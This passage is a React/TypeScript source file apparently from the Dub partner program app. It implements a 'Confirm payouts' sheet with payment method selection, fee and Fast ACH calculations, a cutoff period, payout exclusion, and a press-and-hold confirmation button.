    "content": "import { confirmPayoutsAction } from \"@/lib/actions/partners/confirm-payouts\";\nimport { clientAccessCheck } from \"@/lib/client-access-check\";\nimport {\n  CUTOFF_PERIOD_MAX_PAYOUTS,\n  DIRECT_DEBIT_PAYMENT_METHOD_TYPES,\n  ELIGIBLE_PAYOUTS_MAX_PAGE_SIZE,\n  FAST_ACH_FEE_CENTS,\n  INVOICE_MIN_PAYOUT_AMOUNT_CENTS,\n} from \"@/lib/constants/payouts\";\nimport { exceededLimitError } from \"@/lib/exceeded-limit-error\";\nimport { calculatePayoutFeeWithWaiver } from \"@/lib/partners/calculate-payout-fee-with-waiver\";\nimport {\n  CUTOFF_PERIOD,\n  CUTOFF_PERIOD_TYPES,\n} from \"@/lib/partners/cutoff-period\";\nimport {\n  calculatePayoutFeeForMethod,\n  STRIPE_PAYMENT_METHODS,\n} from \"@/lib/stripe/payment-methods\";\nimport usePaymentMethods from \"@/lib/swr/use-payment-methods\";\nimport useProgram from \"@/lib/swr/use-program\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { PayoutResponse, PlanProps } from \"@/lib/types\";\nimport { X } from \"@/ui/shared/icons\";\nimport {\n  Button,\n  buttonVariants,\n  CircleArrowRight,\n  Combobox,\n  ComboboxOption,\n  DynamicTooltipWrapper,\n  Gear,\n  PaperPlane,\n  Popover,\n  Sheet,\n  ShimmerDots,\n  Table,\n  TooltipContent,\n  useRouterStuff,\n  useTable,\n  useTablePagination,\n} from \"@dub/ui\";\nimport {\n  capitalize,\n  cn,\n  currencyFormatter,\n  fetcher,\n  formatDate,\n  nFormatter,\n  pluralize,\n  truncate,\n} from \"@dub/utils\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport { useRouter } from \"next/navigation\";\nimport {\n  Fragment,\n  ReactNode,\n  useEffect,\n  useMemo,\n  useRef,\n  useState,\n} from \"react\";\nimport { toast } from \"sonner\";\nimport useSWR from \"swr\";\nimport { UpgradeRequiredToast } from \"../shared/upgrade-required-toast\";\nimport { ExternalPayoutsIndicator } from \"./external-payouts-indicator\";\nimport { PartnerRowItem } from \"./partner-row-item\";\n\ntype SelectPaymentMethod =\n  (typeof STRIPE_PAYMENT_METHODS)[keyof typeof STRIPE_PAYMENT_METHODS] & {\n    id: string;\n    fee: number;\n    fastSettlement: boolean;\n  };\n\nfunction ConfirmPayoutsSheetContent() {\n  const router = useRouter();\n  const { program } = useProgram();\n  const {\n    id: workspaceId,\n    slug,\n    plan,\n    role,\n    defaultProgramId,\n    payoutsUsage,\n    payoutsLimit,\n    payoutFee,\n    payoutFeeWaiverLimit,\n    payoutFeeWaiverUsage,\n    fastDirectDebitPayouts,\n  } = useWorkspace();\n\n  const { paymentMethods, loading: paymentMethodsLoading } =\n    usePaymentMethods();\n\n  const [selectedPaymentMethod, setSelectedPaymentMethod] =\n    useState<SelectPaymentMethod | null>(null);\n\n  const [cutoffPeriod, setCutoffPeriod] =\n    useState<CUTOFF_PERIOD_TYPES>(\"today\");\n\n  const { queryParams, searchParamsObj } = useRouterStuff();\n\n  const selectedPayoutId = searchParamsObj.selectedPayoutId || undefined;\n  const excludedPayoutIds =\n    searchParamsObj.excludedPayoutIds?.split(\",\").filter(Boolean) || [];\n\n  const commonQuery = {\n    workspaceId,\n    cutoffPeriod,\n    ...(selectedPayoutId && { selectedPayoutId }),\n    ...(excludedPayoutIds.length > 0 && {\n      excludedPayoutIds: excludedPayoutIds.join(\",\"),\n    }),\n  } as Record<string, any>;\n\n  const { data: eligiblePayoutsCount } = useSWR<{\n    count: number;\n    amount: number;\n  }>(\n    `/api/programs/${defaultProgramId}/payouts/eligible/count?${new URLSearchParams(commonQuery).toString()}`,\n    fetcher,\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  const { data: payoutsCount } = useSWR<\n    {\n      status: string;\n      count: number;\n      amount: number | null;\n    }[]\n  >(\n    workspaceId\n      ? `/api/payouts/count?${new URLSearchParams({\n          workspaceId,\n          groupBy: \"status\",\n          status: \"hold\",\n        }).toString()}`\n      : null,\n    fetcher,\n  );\n\n  const { holdPayoutsCount, holdPayoutsAmount } = useMemo(() => {\n    if (!payoutsCount || payoutsCount.length === 0) {\n      return { holdPayoutsCount: 0, holdPayoutsAmount: 0 };\n    }\n\n    const pendingPayoutsCount = payoutsCount.find(\n      (p) => p.status === \"pending\",\n    );\n\n    return {\n      holdPayoutsCount: pendingPayoutsCount?.count ?? 0,\n      holdPayoutsAmount: pendingPayoutsCount?.amount ?? 0,\n    };\n  }, [payoutsCount]);\n\n  const [page, setPage] = useState(1);\n  const { pagination, setPagination } = useTablePagination({\n    pageSize: ELIGIBLE_PAYOUTS_MAX_PAGE_SIZE,\n    page,\n    onPageChange: setPage,\n  });\n\n  const {\n    data: eligiblePayouts,\n    error: eligiblePayoutsError,\n    isLoading: eligiblePayoutsLoading,\n  } = useSWR<PayoutResponse[]>(\n    `/api/programs/${defaultProgramId}/payouts/eligible?${new URLSearchParams({\n      ...commonQuery,\n      page: pagination.pageIndex.toString(),\n    }).toString()}`,\n    fetcher,\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  const finalEligiblePayouts = useMemo(() => {\n    // if there's a selected payout id, return the payout directly\n    if (selectedPayoutId) return eligiblePayouts;\n\n    // else, we need to filter out the excluded payout ids (if specified)\n    return eligiblePayouts?.filter(\n      (payout) => !excludedPayoutIds.includes(payout.id),\n    );\n  }, [eligiblePayouts, selectedPayoutId, excludedPayoutIds]);\n\n  const { executeAsync: confirmPayouts } = useAction(confirmPayoutsAction, {\n    onError: ({ error }) => {\n      const PAYOUT_ERROR_MAP = {\n        EXTERNAL_WEBHOOK_REQUIRED: {\n          title: \"Webhook required\",\n          ctaLabel: \"Set up webhook\",\n          ctaUrl: `/${slug}/settings/webhooks`,\n        },\n      };\n\n      if (error.serverError) {\n        const code = Object.keys(PAYOUT_ERROR_MAP).find((key) =>\n          error.serverError?.startsWith(key),\n        );\n\n        if (code) {\n          const { title, ctaLabel, ctaUrl } = PAYOUT_ERROR_MAP[code];\n          const message =\n            error.serverError.replace(`${code}: `, \"\") || \"An error occurred.\";\n\n          return toast.custom(() => (\n            <UpgradeRequiredToast\n              title={title}\n              message={message}\n              ctaLabel={ctaLabel}\n              ctaUrl={ctaUrl}\n            />\n          ));\n        }\n      }\n\n      toast.error(error.serverError);\n    },\n  });\n\n  const finalPaymentMethods = useMemo(() => {\n    if (!paymentMethods) return undefined;\n\n    const methods = paymentMethods.flatMap((pm) => {\n      const paymentMethod = STRIPE_PAYMENT_METHODS[pm.type];\n\n      const base = {\n        ...paymentMethod,\n        id: pm.id,\n        fastSettlement: false,\n        fee: calculatePayoutFeeForMethod({\n          paymentMethod: pm.type,\n          payoutFee,\n        }),\n      };\n\n      if (pm.link) {\n        return {\n          ...base,\n          title: `Link – ${truncate(pm.link.email, 24)}`,\n        };\n      }\n\n      if (pm.card) {\n        return {\n          ...base,\n          title: `${capitalize(pm.card.brand)} **** ${pm.card.last4}`,\n        };\n      }\n\n      if (paymentMethod.type === \"us_bank_account\") {\n        const methods = [\n          {\n            ...base,\n            title: `ACH **** ${pm[paymentMethod.type]?.last4}`,\n          },\n        ];\n\n        if (fastDirectDebitPayouts) {\n          methods.unshift({\n            ...base,\n            id: `${pm.id}-fast`,\n            title: `Fast ACH **** ${pm[paymentMethod.type]?.last4}`,\n            duration: \"2 business days\",\n            fastSettlement: true,\n          });\n        }\n\n        return methods;\n      }\n\n      return {\n        ...base,\n        title: `${paymentMethod.label} **** ${pm[paymentMethod.type]?.last4}`,\n      };\n    });\n\n    return methods;\n  }, [paymentMethods, payoutFee, fastDirectDebitPayouts]);\n\n  const paymentMethodOptions = useMemo(() => {\n    return finalPaymentMethods?.map((method) => ({\n      value: method.id,\n      label: method.title,\n      icon: method.icon,\n      ...(method.fastSettlement && {\n        meta: `+ ${currencyFormatter(FAST_ACH_FEE_CENTS, { trailingZeroDisplay: \"stripIfInteger\" })}`,\n      }),\n    }));\n  }, [finalPaymentMethods]);\n\n  const selectedPaymentMethodOption = useMemo(() => {\n    if (!selectedPaymentMethod) return null;\n\n    const option = paymentMethodOptions?.find(\n      (option) => option.value === selectedPaymentMethod.id,\n    );\n\n    return option || null;\n  }, [selectedPaymentMethod, paymentMethodOptions]);\n\n  const cutoffPeriodOptions = useMemo(() => {\n    return CUTOFF_PERIOD.map(({ id, label, value }) => ({\n      value: id,\n      label: `${label} (${formatDate(value)})`,\n    }));\n  }, []);\n\n  const selectedCutoffPeriodOption = useMemo(() => {\n    return (\n      cutoffPeriodOptions.find((option) => option.value === cutoffPeriod) ||\n      null\n    );\n  }, [cutoffPeriod, cutoffPeriodOptions]);\n\n  useEffect(() => {\n    if (\n      !selectedPaymentMethod &&\n      finalPaymentMethods &&\n      finalPaymentMethods.length > 0\n    ) {\n      setSelectedPaymentMethod(finalPaymentMethods[0]);\n    }\n  }, [finalPaymentMethods, selectedPaymentMethod]);\n\n  const isExternalPayout = (payout: PayoutResponse) => {\n    switch (program?.payoutMode) {\n      case \"internal\":\n        return false;\n      case \"external\":\n        return true;\n      case \"hybrid\":\n        return payout.partner.payoutsEnabledAt === null;\n      default:\n        return false;\n    }\n  };\n\n  const { amount, fee, total, fastAchFee, externalAmount } = useMemo(() => {\n    const amount = eligiblePayoutsCount?.amount;\n\n    if (\n      amount === undefined ||\n      selectedPaymentMethod === null ||\n      program?.payoutMode === undefined\n    ) {\n      return {\n        amount: undefined,\n        externalAmount: undefined,\n        fee: undefined,\n        total: undefined,\n        fastAchFee: undefined,\n      };\n    }\n\n    // Calculate the total external amount\n    const externalAmount = finalEligiblePayouts?.reduce(\n      (acc, payout) =>\n        isExternalPayout(payout) ? acc + payout.amount : acc + 0,\n      0,\n    );\n\n    const fastAchFee = selectedPaymentMethod.fastSettlement\n      ? FAST_ACH_FEE_CENTS\n      : 0;\n\n    const { fee } = calculatePayoutFeeWithWaiver({\n      payoutAmount: amount,\n      payoutFeeWaiverLimit: payoutFeeWaiverLimit ?? 0,\n      payoutFeeWaiverUsage: payoutFeeWaiverUsage ?? 0,\n      payoutFee: selectedPaymentMethod.fee,\n      fastAchFee,\n    });\n\n    const total = amount + fee;\n\n    return {\n      amount,\n      externalAmount,\n      fee,\n      total,\n      fastAchFee,\n    };\n  }, [\n    eligiblePayoutsCount,\n    finalEligiblePayouts,\n    selectedPaymentMethod,\n    program?.payoutMode,\n    payoutFeeWaiverLimit,\n    payoutFeeWaiverUsage,\n  ]);\n\n  const invoiceData = useMemo(() => {\n    return [\n      {\n        key: \"Method\",\n        value: (\n          <div className=\"flex w-full items-center justify-between gap-2\">\n            {paymentMethodsLoading ? (\n              <div className=\"h-[30px] w-full animate-pulse rounded-md bg-neutral-200\" />\n            ) : (\n              <div className=\"flex-1\">\n                <Combobox\n                  options={paymentMethodOptions}\n                  selected={selectedPaymentMethodOption}\n                  setSelected={(option: ComboboxOption) => {\n                    if (!option) {\n                      return;\n                    }\n\n                    const selectedMethod = finalPaymentMethods?.find(\n                      (pm) => pm.id === option.value,\n                    );\n\n                    setSelectedPaymentMethod(selectedMethod || null);\n                  }}\n                  optionRight={(option) => {\n                    return option.meta ? (\n                      <span className=\"rounded-md bg-neutral-100 px-1 py-0.5 text-xs font-semibold text-neutral-700\">\n                        {option.meta}\n                      </span>\n                    ) : null;\n                  }}\n                  placeholder=\"Select payment method\"\n                  buttonProps={{\n                    className:\n                      \"h-auto border border-neutral-200 px-3 py-1.5 text-xs focus:border-neutral-600 focus:ring-neutral-600\",\n                  }}\n                  matchTriggerWidth\n                  hideSearch\n                  caret\n                >\n                  <div className=\"flex items-center gap-2\">\n                    {selectedPaymentMethodOption ? (\n                      <>\n                        <selectedPaymentMethodOption.icon className=\"size-4\" />\n                        {selectedPaymentMethodOption.label}\n                      </>\n                    ) : (\n                      <div className=\"h-4 w-24 animate-pulse rounded-md bg-neutral-200\" />\n                    )}\n                  </div>\n                </Combobox>\n              </div>\n            )}\n\n            <a\n              href={`/${slug}/settings/billing`}\n              className={cn(\n                buttonVariants({ variant: \"secondary\" }),\n                \"flex items-center rounded-md border border-neutral-200 p-1.5 text-sm\",\n              )}\n              target=\"_blank\"\n            >\n              <Gear className=\"size-4\" />\n            </a>\n          </div>\n        ),\n      },\n      // only show cutoff period if there are less than 1,000 payouts\n      ...(eligiblePayoutsCount &&\n      eligiblePayoutsCount.count <= CUTOFF_PERIOD_MAX_PAYOUTS\n        ? [\n            {\n              key: \"Cutoff Period\",\n              value: (\n                <div className=\"w-full\">\n                  <Combobox\n                    options={cutoffPeriodOptions}\n                    selected={selectedCutoffPeriodOption}\n                    setSelected={(option: ComboboxOption) => {\n                      if (!option) {\n                        return;\n                      }\n\n                      setCutoffPeriod(option.value as CUTOFF_PERIOD_TYPES);\n                    }}\n                    placeholder=\"Select cutoff period\"\n                    buttonProps={{\n                      className:\n                        \"h-auto border border-neutral-200 px-3 py-1.5 text-xs focus:border-neutral-600 focus:ring-neutral-600\",\n                    }}\n                    matchTriggerWidth\n                    hideSearch\n                    caret\n                  />\n                </div>\n              ),\n              tooltipContent:\n                \"Cutoff period in UTC. If set, only commissions accrued up to the cutoff period will be included in the payout invoice.\",\n            },\n          ]\n        : []),\n      {\n        key: \"Partners\",\n        value:\n          eligiblePayoutsCount !== undefined ? (\n            nFormatter(eligiblePayoutsCount.count, { full: true })\n          ) : (\n            <div className=\"h-4 w-24 animate-pulse rounded-md bg-neutral-200\" />\n          ),\n      },\n      {\n        key: \"Amount\",\n        value:\n          amount === undefined ? (\n            <div className=\"h-4 w-24 animate-pulse rounded-md bg-neutral-200\" />\n          ) : (\n            currencyFormatter(amount)\n          ),\n      },\n      ...(finalEligiblePayouts && finalEligiblePayouts.some(isExternalPayout)\n        ? [\n            {\n              key: \"External Amount\",\n              value:\n                externalAmount === undefined ? (\n                  <div className=\"h-4 w-24 animate-pulse rounded-md bg-neutral-200\" />\n                ) : (\n                  <div className=\"flex items-center gap-1.5\">\n                    {currencyFormatter(externalAmount)}\n                    <CircleArrowRight className=\"size-3.5 text-neutral-500\" />\n                  </div>\n                ),\n              tooltipContent: `Payouts that are processed externally via the \\`payout.confirmed\\` [webhook event](${`/${slug}/settings/webhooks`}). [Learn more about external payouts](http://dub.co/docs/partners/external-payouts).`,\n            },\n          ]\n        : []),\n      {\n        key: \"Fee\",\n        value:\n          selectedPaymentMethod && fee !== undefined ? (\n            currencyFormatter(fee)\n          ) : (\n            <div className=\"h-4 w-24 animate-pulse rounded-md bg-neutral-200\" />\n          ),\n        tooltipContent: selectedPaymentMethod\n          ? buildPayoutFeeTooltip({\n              selectedPaymentMethod,\n              fastAchFee: fastAchFee ?? 0,\n              payoutFeeWaiverLimit: payoutFeeWaiverLimit ?? 0,\n              payoutFeeWaiverUsage: payoutFeeWaiverUsage ?? 0,\n            })\n          : undefined,\n      },\n      {\n        key: \"Transfer Time\",\n        value: selectedPaymentMethod ? (\n          selectedPaymentMethod.duration\n        ) : (\n          <div className=\"h-4 w-24 animate-pulse rounded-md bg-neutral-200\" />\n        ),\n      },\n      {\n        key: \"Total\",\n        value:\n          total === undefined ? (\n            <div className=\"h-4 w-24 animate-pulse rounded-md bg-neutral-200\" />\n          ) : (\n            currencyFormatter(total)\n          ),\n      },\n    ];\n  }, [\n    amount,\n    externalAmount,\n    paymentMethods,\n    selectedPaymentMethod,\n    cutoffPeriod,\n    cutoffPeriodOptions,\n    selectedCutoffPeriodOption,\n    fastAchFee,\n    payoutFeeWaiverLimit,\n    payoutFeeWaiverUsage,\n  ]);\n\n  const partnerColumn = useMemo(\n    () => ({\n      header: \"Partner\",\n      cell: ({ row }) => (\n        <PartnerRowItem\n          partner={{\n            id: row.original.partner.id,\n            name: row.original.partner.name,\n            image: row.original.partner.image,\n          }}\n          showPermalink={false}\n        />\n      ),\n    }),\n    [],\n  );\n\n  const table = useTable({\n    data: eligiblePayouts || [],\n    columns: [\n      partnerColumn,\n      {\n        id: \"total\",\n        header: \"Total\",\n        cell: ({ row }) => (\n          <>\n            <div className=\"relative flex items-center justify-end gap-1.5\">\n              <span\n                className={cn(\n                  !selectedPayoutId && \"group-hover/row:opacity-0\",\n                  excludedPayoutIds.includes(row.original.id) && \"line-through\",\n                )}\n              >\n                {currencyFormatter(row.original.amount)}\n              </span>\n\n              {!selectedPayoutId && (\n                <div\n                  className={cn(\n                    \"pointer-events-none absolute top-1/2 -translate-y-1/2 opacity-0 group-hover/row:pointer-events-auto group-hover/row:opacity-100\",\n                    isExternalPayout(row.original) &&\n                      \"right-[calc(14px+0.375rem)]\",\n                  )}\n                >\n                  <Button\n                    variant=\"secondary\"\n                    text={\n                      excludedPayoutIds.includes(row.original.id)\n                        ? \"Include\"\n                        : \"Exclude\"\n                    }\n                    className=\"h-6 w-fit px-2\"\n                    onClick={() => {\n                      const newExcludedPayoutIds = excludedPayoutIds.includes(\n                        row.original.id,\n                      )\n                        ? excludedPayoutIds.filter(\n                            (id) => id !== row.original.id,\n                          )\n                        : [...excludedPayoutIds, row.original.id];\n\n                      queryParams({\n                        ...(newExcludedPayoutIds.length > 0\n                          ? {\n                              set: {\n                                excludedPayoutIds:\n                                  newExcludedPayoutIds.join(\",\"),\n                              },\n                            }\n                          : {\n                              del: \"excludedPayoutIds\",\n                            }),\n                        replace: true,\n                      });\n                    }}\n                  />\n                </div>\n              )}\n\n              {isExternalPayout(row.original) && (\n                <ExternalPayoutsIndicator side=\"left\" />\n              )}\n            </div>\n          </>\n        ),\n      },\n    ],\n    thClassName: (id) =>\n      cn(id === \"total\" && \"[&>div]:justify-end\", \"border-l-0\"),\n    tdClassName: (id, row) =>\n      cn(\n        \"transition-opacity\",\n        excludedPayoutIds.includes(row.original.id) && [\n          \"[&>div]:opacity-50\",\n          id === \"total\" && \"group-hover/row:[&>div]:opacity-100\",\n        ], // Excluded payout\n        id === \"total\" && \"text-right\",\n        \"border-l-0\",\n      ),\n    className: \"[&_tr:last-child>td]:border-b-transparent\",\n    scrollWrapperClassName: \"min-h-[40px]\",\n    resourceName: (p) => `payout${p ? \"s\" : \"\"}`,\n    pagination,\n    onPaginationChange: setPagination,\n    rowCount: eligiblePayoutsCount?.count ?? 0,\n    loading: eligiblePayoutsLoading,\n    error: eligiblePayoutsError\n      ? \"Failed to load payouts for this invoice.\"\n      : undefined,\n  });\n\n  const { error: permissionsError } = clientAccessCheck({\n    role,\n    action: \"payouts.write\",\n    customPermissionDescription: \"confirm payouts\",\n  });\n\n  const [isTouchDevice, setIsTouchDevice] = useState(false);\n\n  useEffect(() => {\n    setIsTouchDevice(window.matchMedia(\"(pointer: coarse)\").matches);\n  }, []);\n\n  return (\n    <div className=\"flex h-full flex-col\">\n      <div className=\"flex h-16 items-center justify-between border-b border-neutral-200 px-6 py-4\">\n        <Sheet.Title className=\"text-lg font-semibold\">\n          Confirm payouts\n        </Sheet.Title>\n        <Sheet.Close asChild>\n          <Button\n            variant=\"outline\"\n            icon={<X className=\"size-5\" />}\n            className=\"h-auto w-fit p-1\"\n          />\n        </Sheet.Close>\n      </div>\n\n      <div className=\"flex-1 overflow-y-auto\">\n        <div className=\"flex flex-col gap-4 p-6\">\n          <div className=\"text-base font-medium text-neutral-900\">\n            Invoice details\n          </div>\n          <div className=\"grid grid-cols-3 gap-2 text-sm\">\n            {invoiceData.map(({ key, value, tooltipContent }) => (\n              <Fragment key={key}>\n                <div\n                  className={cn(\n                    \"flex items-center py-0.5 font-medium text-neutral-500\",\n                    tooltipContent &&\n                      \"cursor-help underline decoration-dotted underline-offset-2\",\n                  )}\n                >\n                  <DynamicTooltipWrapper\n                    tooltipProps={\n                      tooltipContent\n                        ? {\n                            content: tooltipContent,\n                          }\n                        : undefined\n                    }\n                  >\n                    {key}\n                  </DynamicTooltipWrapper>\n                </div>\n                <div className=\"col-span-2 flex items-center text-neutral-800\">\n                  {value}\n                </div>\n              </Fragment>\n            ))}\n          </div>\n        </div>\n\n        <div className=\"px-6 py-3\">\n          <Table {...table} />\n        </div>\n      </div>\n\n      <div className=\"flex flex-col gap-3 border-t border-neutral-200 px-5 py-4\">\n        <ConfirmPayoutsButton\n          onClick={async () => {\n            if (!workspaceId || !selectedPaymentMethod) {\n              return false;\n            }\n\n            const result = await confirmPayouts({\n              workspaceId,\n              paymentMethodId: selectedPaymentMethod.id.replace(\"-fast\", \"\"),\n              fastSettlement: selectedPaymentMethod.fastSettlement,\n              cutoffPeriod,\n              selectedPayoutId,\n              excludedPayoutIds,\n              amount: amount ?? 0,\n              fee: fee ?? 0,\n              total: total ?? 0,\n            });\n\n            if (!result?.data?.invoiceId) return false;\n\n            setTimeout(\n              () =>\n                result?.data?.invoiceId &&\n                router.push(\n                  `/${slug}/program/payouts/success?invoiceId=${result.data.invoiceId}`,\n                ),\n              1000,\n            );\n\n            return true;\n          }}\n          text={\n            amount && amount > 0\n              ? `${isTouchDevice ? \"Press\" : \"Click\"} and hold to confirm ${currencyFormatter(amount)} payout`\n              : `${isTouchDevice ? \"Press\" : \"Click\"} and hold to confirm payout`\n          }\n          disabled={\n            eligiblePayoutsLoading || !selectedPaymentMethod || amount === 0\n          }\n          disabledTooltip={\n            payoutsUsage &&\n            payoutsLimit &&\n            amount &&\n            payoutsUsage + amount > payoutsLimit ? (\n              <TooltipContent\n                title={exceededLimitError({\n                  plan: plan as PlanProps,\n                  limit: payoutsLimit,\n                  type: \"payouts\",\n                })}\n                cta=\"Upgrade\"\n                href={`/${slug}/settings/billing/upgrade`}\n              />\n            ) : amount && amount < INVOICE_MIN_PAYOUT_AMOUNT_CENTS ? (\n              \"Your payout total is less than the minimum invoice amount of $10.\"\n            ) : (\n              permissionsError || undefined\n            )\n          }\n        />\n        {holdPayoutsCount > 0 && (\n          <div className=\"flex items-center justify-center gap-2 text-sm text-neutral-600\">\n            <span>\n              Excluding{\" \"}\n              <span className=\"font-medium text-neutral-800\">\n                {nFormatter(holdPayoutsCount, { full: true })}\n              </span>\n              {` on hold ${pluralize(\"payout\", holdPayoutsCount)} `}\n              <span className=\"font-medium text-neutral-800\">\n                (\n                {currencyFormatter(holdPayoutsAmount, {\n                  trailingZeroDisplay: \"stripIfInteger\",\n                })}\n                )\n              </span>\n            </span>\n            <Button\n              variant=\"secondary\"\n              text=\"Review\"\n              className=\"h-7 w-fit rounded-md border border-neutral-200 px-2 text-sm\"\n              onClick={() =>\n                queryParams({\n                  set: {\n                    status: \"hold\",\n                  },\n                  del: [\n                    \"confirmPayouts\",\n                    \"selectedPayoutId\",\n                    \"excludedPayoutIds\",\n                    \"payoutId\",\n                    \"page\",\n                  ],\n                })\n              }\n            />\n          </div>\n        )}\n      </div>\n    </div>\n  );\n}\n\nexport function ConfirmPayoutsSheet() {\n  const { queryParams } = useRouterStuff();\n  const [isOpen, setIsOpen] = useState(false);\n  const { searchParams } = useRouterStuff();\n\n  useEffect(() => {\n    const confirmPayouts = searchParams.get(\"confirmPayouts\");\n\n    if (confirmPayouts) {\n      setIsOpen(true);\n    } else {\n      setIsOpen(false);\n    }\n  }, [searchParams]);\n\n  return (\n    <Sheet\n      open={isOpen}\n      onOpenChange={setIsOpen}\n      onClose={() => {\n        queryParams({\n          del: [\"confirmPayouts\", \"selectedPayoutId\", \"excludedPayoutIds\"],\n        });\n      }}\n    >\n      <ConfirmPayoutsSheetContent />\n    </Sheet>\n  );\n}\n\nfunction ConfirmPayoutsButton({\n  onClick,\n  text,\n  disabled,\n  disabledTooltip,\n}: {\n  onClick: () => Promise<boolean>;\n  text: ReactNode;\n  disabled: boolean;\n  disabledTooltip: React.ReactNode;\n}) {\n  const loadingBar = useRef<HTMLDivElement>(null);\n\n  const holding = useRef(false);\n  const progress = useRef(0);\n\n  const requestRef = useRef<number | null>(undefined);\n  const previousTimeRef = useRef(undefined);\n\n  // Rounded progress to nearest tenth\n  const [roundedProgress, setRoundedProgress] = useState(0);\n\n  const [isSuccess, setIsSuccess] = useState(false);\n\n  const animate = (time) => {\n    if (previousTimeRef.current !== undefined) {\n      const deltaTime = time - previousTimeRef.current;\n\n      if (progress.current < 1) {\n        progress.current = Math.max(\n          0,\n          Math.min(\n            1,\n            progress.current + deltaTime * (holding.current ? 0.0005 : -0.001),\n          ),\n        );\n\n        setRoundedProgress(Math.round(progress.current * 10) / 10);\n\n        if (loadingBar.current)\n          loadingBar.current.style.width = `${progress.current * 100}%`;\n      }\n    }\n\n    previousTimeRef.current = time;\n    requestRef.current = requestAnimationFrame(animate);\n  };\n\n  const [cancelCounter, setCancelCounter] = useState(0);\n\n  const submitting = useRef(false);\n\n  // Submit when the progress is >= 1 and not already submitting\n  useEffect(() => {\n    if (roundedProgress < 1 || submitting.current) return;\n\n    submitting.current = true;\n    setCancelCounter(0);\n\n    onClick()\n      .then((result) => {\n        if (result) {\n          setIsSuccess(true);\n        } else {\n          progress.current = 0;\n          setRoundedProgress(0);\n          submitting.current = false;\n        }\n      })\n      .catch(() => {\n        progress.current = 0;\n        setRoundedProgress(0);\n        submitting.current = false;\n      });\n  }, [roundedProgress]);\n\n  useEffect(() => {\n    requestRef.current = requestAnimationFrame(animate);\n    return () => cancelAnimationFrame(requestRef.current!);\n  }, []);\n\n  const handleCancel = () => {\n    if (!holding.current) return;\n    holding.current = false;\n\n    if (isSuccess) return;\n    setCancelCounter((c) => c + 1);\n  };\n\n  return (\n    <Popover\n      openPopover={cancelCounter >= 2}\n      setOpenPopover={() => {}}\n      content={\n        <div\n          className=\"text-content-subtle select-none px-2 py-0.5 text-xs\"\n          onClick={() => setCancelCounter(0)}\n        >\n          Keep holding the button to confirm\n        </div>\n      }\n      side=\"top\"\n    >\n      <div className=\"w-full\">\n        <Button\n          type=\"button\"\n          variant=\"primary\"\n          className={cn(\n            \"relative overflow-hidden\",\n            isSuccess && \"border-green-500 bg-green-500\",\n            \"active:scale-[0.98]\",\n          )}\n          textWrapperClassName=\"!overflow-visible select-none\"\n          {...(!disabled &&\n            !disabledTooltip && {\n              // TODO: Handle keyboard control\n              onPointerDown: () => (holding.current = true),\n              onPointerUp: handleCancel,\n              onPointerLeave: handleCancel,\n              onPointerCancel: handleCancel,\n            })}\n          text={\n            <>\n              <div\n                ref={loadingBar}\n                className={cn(\n                  \"pointer-events-none absolute inset-y-0 left-0 overflow-hidden\",\n                  !isSuccess && \"bg-[linear-gradient(90deg,#fff1,#fff4)]\",\n                )}\n              >\n                <ShimmerDots\n                  className=\"inset-[unset] inset-y-0 left-0 w-[600px] opacity-30\"\n                  color={[1, 1, 1]}\n                />\n              </div>\n              <div className=\"relative text-center\">\n                <div\n                  className={cn(\n                    \"truncate transition-[transform,opacity] duration-300\",\n                    roundedProgress >= 0.5 && \"-translate-y-4 opacity-0\",\n                  )}\n                >\n                  {text}\n                </div>\n                <div\n                  className={cn(\n                    \"pointer-events-none absolute inset-0 transition-[transform,opacity] duration-300\",\n                    roundedProgress < 0.5 && \"translate-y-4 opacity-0\",\n                    roundedProgress >= 1 && \"-translate-y-4 opacity-0\",\n                  )}\n                  aria-hidden\n                >\n                  Preparing payout...\n                </div>\n                <div\n                  className={cn(\n                    \"pointer-events-none absolute inset-0 flex items-center justify-center transition-[transform,opacity] duration-300\",\n                    roundedProgress < 1 &&\n                      \"-translate-x-1 translate-y-4 opacity-0\",\n                    roundedProgress >= 1 &&\n                      isSuccess &&\n                      \"-translate-y-4 translate-x-3 opacity-0\",\n                  )}\n                  aria-hidden\n                >\n                  <PaperPlane className=\"size-4\" />\n                </div>\n                <div\n                  className={cn(\n                    \"pointer-events-none absolute inset-0 flex items-center justify-center transition-[transform,opacity] duration-300\",\n                    (roundedProgress < 1 || !isSuccess) &&\n                      \"translate-y-4 opacity-0\",\n                  )}\n                  aria-hidden\n                >\n                  Payout sent\n                </div>\n              </div>\n            </>\n          }\n          disabled={disabled}\n          disabledTooltip={disabledTooltip}\n        />\n      </div>\n    </Popover>\n  );\n}\n\nfunction buildPayoutFeeTooltip({\n  selectedPaymentMethod,\n  fastAchFee,\n  payoutFeeWaiverLimit,\n  payoutFeeWaiverUsage,\n}: {\n  selectedPaymentMethod: Pick<SelectPaymentMethod, \"fee\" | \"type\">;\n  fastAchFee: number;\n  payoutFeeWaiverLimit: number;\n  payoutFeeWaiverUsage: number;\n}): string {\n  const feePercentage = selectedPaymentMethod.fee * 100;\n\n  const isWithinWaiver =\n    payoutFeeWaiverLimit > 0 && payoutFeeWaiverUsage < payoutFeeWaiverLimit;\n\n  const fastAchFeeText =\n    fastAchFee > 0 ? ` + ${currencyFormatter(fastAchFee)} Fast ACH fee` : \"\";\n\n  if (isWithinWaiver) {\n    const waiverLimitFormatted = nFormatter(payoutFeeWaiverLimit / 100);\n\n    return `0% processing fee for the first $${waiverLimitFormatted} payouts, then ${feePercentage}%${fastAchFeeText}. [Learn more](https://d.to/payouts)`;\n  }\n\n  const isDirectDebit = DIRECT_DEBIT_PAYMENT_METHOD_TYPES.includes(\n    selectedPaymentMethod.type as any,\n  );\n\n  const directDebitSuggestion = isDirectDebit\n    ? \"\"\n    : \" Switch to Direct Debit for a reduced fee.\";\n\n  return `${feePercentage}% processing fee${fastAchFeeText}. ${directDebitSuggestion} [Learn more](https://d.to/payouts)`;\n}\n"
  },
  {
    "path": "apps/web/ui/partners/constants.ts",
